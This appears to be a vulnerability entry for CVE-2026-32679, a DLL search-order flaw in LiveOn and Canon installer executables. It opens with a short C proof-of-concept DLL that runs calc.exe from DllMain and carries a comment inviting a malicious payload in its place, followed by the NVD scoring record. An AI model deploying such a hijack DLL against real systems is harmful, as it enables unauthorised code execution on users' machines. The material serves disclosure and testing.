CVE-2026-32679

#include <windows.h> #include <stdlib.h> // Payload to execute: e.g., calc.exe // Replace this with your malicious payload void execute_payload() { WinExec("calc.exe", SW_SHOW); } // DLL Entry Point BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code runs when the DLL is loaded into the process execute_payload(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

{"cve": {"id": "CVE-2026-32679", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:45.157", "lastModified": "2026-05-18T17:04:05.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The installers of LiveOn Meet Client for Windows (Downloader5Installer.exe and Downloader5InstallerForAdmin.exe) and the installers of Canon Network Camera Plugin (CanonNWCamPlugin.exe and CanonNWCamPluginForAdmin.exe) insecurely load Dynamic Link Libraries (DLLs). If a malicious DLL is placed at the same directory, the affected installer may load that DLL and execute its code with the privilege of the user invoking the installer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liveon:canonnwcamplugin.exe:1.0.0.0:*:*:*:*:windows:*:*", "matchCriteriaId": "3FA8C724-4A73-49CA-AE88-EDFABB7E34D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liveon:canonnwcampluginforadmin.exe:1.0.0.0:*:*:*:*:windows:*:*", "matchCriteriaId": "E415E482-79DB-49F5-B6DE-3200E2E80453"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liveon:downloader5installer.exe:1.0.0.0:*:*:*:*:windows:*:*", "matchCriteriaId": "96FEE618-B589-4081-9102-7FC0FAD008BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liveon:downloader5installerforadmin.exe:1.0.0.0:*:*:*:*:windows:*:*", "matchCriteriaId": "C2EA05EC-598C-4B21-9350-AAB236D98BE6"}]}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN45563482/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://web.liveon.ne.jp/wp-content/uploads/2026/04/JMSSA2026-001.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}